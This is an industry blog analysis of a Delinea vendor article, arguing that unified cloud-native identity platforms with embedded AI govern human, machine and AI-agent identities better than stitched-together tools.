Cloud-native identity platforms and AI governance: why stitching fails

At a glance

What this is: This is Delinea’s argument that identity security works better as a unified, cloud-native platform with AI embedded into shared services.

Why it matters: It matters because IAM, PAM, NHI, and agentic-AI programmes all depend on consistent policy, audit, and response across identities that now move faster than legacy toolchains.

By the numbers:

• The next morning, we deployed over the course of an hour an upgrade to 28 clusters worldwide.
• We have over 40 engineering teams delivering to production independently.

👉 Read Delinea's analysis of cloud-native identity platforms and practical AI

Context

Modern identity security breaks down when teams try to bolt together vaulting, analytics, remote access, and AI into separate products that do not share state. In practice, IAM and PAM programmes need a common control plane so policy, telemetry, and response stay aligned across human, machine, and agentic identities.

Delinea’s core argument is that cloud-native architecture changes the operating model, not just the deployment model. For identity teams, the question is whether platforms can absorb change, patch quickly, and preserve governance continuity without forcing recurring migrations, disconnected workflows, or separate audit paths.

Key questions

Q: How should security teams evaluate stitched identity platforms versus unified ones?

A: Security teams should test whether policy, audit, secrets handling, and access decisions share the same state. If each function is managed in a different layer, governance becomes slower and less reliable during change. A unified platform reduces reconciliation work, improves traceability, and makes it easier to contain identity risk across human, NHI, and AI-assisted workflows.

Q: Why do cloud-native identity platforms matter for IAM and PAM operations?

A: Cloud-native platforms matter because they can absorb urgent security updates, scale across environments, and preserve control continuity without forcing disruptive migrations. That is especially important when identity risk spans sessions, secrets, and privilege management. The operational value is not just speed. It is the ability to remediate without fragmenting governance evidence.

Q: What do security teams get wrong about practical AI in identity governance?

A: Teams often treat AI as a separate intelligence layer when it should be evaluated as part of the identity control plane. AI is useful when it uses the same audit, session, and policy data already trusted by the programme. If it operates outside those controls, it adds another decision boundary instead of reducing risk.

Q: How do identity buyers judge whether a platform can support long-term governance?

A: Buyers should ask whether the platform can evolve continuously, respond quickly to threats, and avoid annual migration cycles. Long-term governance depends on stability under change, not just feature breadth. If the architecture cannot keep shared state intact while services change, the organisation will pay for that with more manual oversight and weaker assurance.

Technical breakdown

Why stitched identity tools create governance gaps

A stitched identity stack can cover many use cases on paper while still fragmenting the control plane underneath. When vaulting, session recording, access policy, and analytics sit in separate layers, the organisation inherits inconsistent state, duplicated administration, and slower response to change. That matters in identity security because privilege, secrets, and sessions are related control surfaces, not independent ones. Cloud-native design reduces those seams by sharing storage, audit, and policy primitives across services, so the platform can evolve without re-implementing governance each time a new function is added.

Practical implication: map where policy, audit, and remediation diverge across tools before approving any platform strategy.

Cloud-native identity platforms and rapid remediation

Cloud-native identity platforms are built to ship updates continuously, with independent teams changing services without waiting for a monolithic release cycle. In the article’s example, a Kubernetes ingress vulnerability was public on Tuesday night and the platform was upgraded across 28 clusters the next morning without customer disruption. That illustrates an operational difference between cloud-native and lift-and-shift models. The point is not simply faster delivery. It is that the architecture can absorb urgent security work while preserving availability, scale, and a coherent identity control plane.

Practical implication: test how quickly a vendor can remediate a platform-wide issue without fragmenting operations or audit evidence.

Practical AI in identity security depends on shared services

The article treats AI as useful when it sits inside the identity platform’s core services rather than as a detached add-on. Examples include AI-enhanced auditing that identifies the exact point of anomalous activity in long sessions and AI-based authorization that evaluates ticket, location, and risk context in real time. This is materially different from generic AI branding because the AI is using existing storage, audit, and session controls as inputs. For IAM and PAM teams, the architectural question is whether AI augments governance workflows or creates another disconnected decision layer.

Practical implication: insist that AI features consume the same audit and policy data as the rest of the identity stack.

Threat narrative

Attacker objective: The objective is to exploit control fragmentation so identity risk can move faster than governance, detection, and remediation.

1. Entry occurs when identity and security functions are split across stitched tools, creating uneven visibility and inconsistent control state across sessions, secrets, and access paths.
2. Escalation follows when teams must reconcile policy and telemetry manually, giving attackers more room to move before a change, patch, or revocation is reflected everywhere.
3. Impact is broader operational exposure, where slower remediation, misaligned workflows, and fragmented audit trails weaken the organisation’s ability to govern identity risk at speed.

Breaches seen in the wild

• Moltbook AI agent keys breach — Moltbook breach exposed 1.5M AI agent keys.
• AI LLM hijack breach — attackers used stolen AWS access keys to hijack Anthropic LLM models on Bedrock.

Read our 52 NHI Breaches Analysis report for a comprehensive view of breaches impacting Non-Human Identities including AI Agents.

NHI Mgmt Group analysis

Platform stitching is a governance problem before it is a product problem. When vaulting, analytics, remote access, and authorization are assembled from separate systems, the organisation inherits multiple states of truth and multiple audit paths. That fragments policy enforcement across human, NHI, and emerging AI-driven workflows. The implication is that identity leaders should evaluate whether the platform shares control primitives, not just whether it claims broad coverage.

Cloud-native identity architecture changes the speed at which identity governance can survive change. The article’s 28-cluster upgrade example shows that remediation, release cadence, and operational continuity are part of the control plane. In NIST CSF terms, the issue is not only protection but recovery and response under load. Practitioners should treat update velocity and blast-radius containment as identity governance criteria, not only infrastructure metrics.

Practical AI becomes credible only when it uses the same identity signals the rest of the platform already trusts. The article’s session-anomaly detection and real-time authorization examples matter because they keep AI inside audit and policy workflows rather than outside them. That aligns with both PAM governance and NHI oversight, where decision quality depends on contextual signals and traceable outcomes. The implication is that AI features should be judged by how well they preserve governance continuity, not by how novel they sound.

Identity security buyers are being pushed toward platform consolidation because the old integration model cannot keep pace with threat and change velocity. The article frames this as a long-term operating decision, not a feature comparison. That matters across IAM, PAM, and NHI programmes because each added bolt-on increases the cost of audit, response, and lifecycle management. The implication is that security teams should re-evaluate whether their current architecture can actually absorb fast-moving identity risk.

Identity blast radius is becoming the right way to describe platform quality. A platform that can absorb vulnerabilities, deliver updates globally, and preserve shared state across services reduces the chance that one failure becomes a governance outage. For practitioners, the key test is whether the control plane can contain disruption without forcing manual reconciliation across every identity domain.

From our research:

• 71% of NHIs are not rotated within recommended time frames, increasing the risk of compromise over time, according to Ultimate Guide to NHIs.
• Only 5.7% of organisations have full visibility into their service accounts, which means most identity programmes are still operating with partial control awareness.
• For the broader breach pattern behind hidden access and delayed remediation, see 52 NHI Breaches Analysis for the incident patterns that make fragmentation measurable.

What this signals

Identity platform consolidation is increasingly a response to control fragmentation, not just a product trend. Teams that still run separate systems for vaulting, access, audit, and remote administration should expect more reconciliation overhead every time policy changes or incidents occur. That overhead becomes a governance risk when human, NHI, and AI-assisted access all need the same evidence trail.

Practical AI will only be defensible where it improves the quality of existing identity decisions. The real test is whether AI shortens review time, sharpens anomaly detection, and keeps authorisation tied to the same state the IAM programme already trusts. If it introduces a new control surface, the programme inherits a new failure mode instead of better governance.

With 97% of NHIs carrying excessive privileges, per Ultimate Guide to NHIs, the pressure on platform architectures is not abstract. Excess privilege and fragmented tooling reinforce each other, because broad access is harder to govern when policy, audit, and remediation are spread across disconnected products. Identity teams should therefore measure platform quality by how much privilege drift it can absorb without losing oversight.

For practitioners

• Audit control-plane fragmentation Map where vaulting, session recording, secrets access, authorization, and analytics live today. If those functions do not share policy and audit state, treat that as an identity governance gap rather than a tooling preference.
• Test remediation speed under real failure conditions Ask vendors how they deploy security fixes across clustered environments, what happens during urgent patching, and how they preserve service continuity while changing shared components.
• Validate AI features against existing governance data Require AI-driven auditing or authorization to use the same session, ticket, location, and risk inputs already relied on by your identity programme. Separate AI decision layers create accountability blind spots.
• Reassess platform strategy around identity blast radius Score each platform on how much manual reconciliation it creates when components change. The lower the reconciliation burden, the stronger the governance posture across IAM, PAM, and NHI workflows.

Key takeaways

• Stitched identity tooling creates governance seams that slow response, fragment audit, and weaken policy consistency across identity types.
• Cloud-native delivery matters because security remediation, scalability, and continuity are part of identity control, not just infrastructure hygiene.
• AI in identity security only adds value when it operates inside the same trusted policy and audit fabric as the rest of the programme.

Key terms

• Cloud-native identity platform: An identity platform built to run as distributed cloud services rather than a lifted legacy stack. It uses shared components, continuous delivery, and common audit and policy primitives so access, secrets, and session controls can evolve without constant rework.
• Identity blast radius: The amount of governance, audit, and operational disruption caused when one identity control fails or changes. In practice, lower blast radius means fewer manual reconciliations, faster remediation, and less risk that a local issue spreads across multiple identity functions.
• Practical AI in identity security: AI that operates inside existing identity workflows and uses the same trusted policy, audit, and context data as the rest of the programme. The value is in faster review and better anomaly detection, not in creating a separate decision layer.

Deepen your knowledge

NHI governance, agentic AI identity, and machine identity lifecycle are core topics in our NHI Foundation Level course, the industry's only accredited NHI security programme. If you are responsible for identity security strategy or NHI governance in your organisation, it is worth exploring.

This post draws on content published by Delinea: Platform truths: What others stitch, we build. Read the original.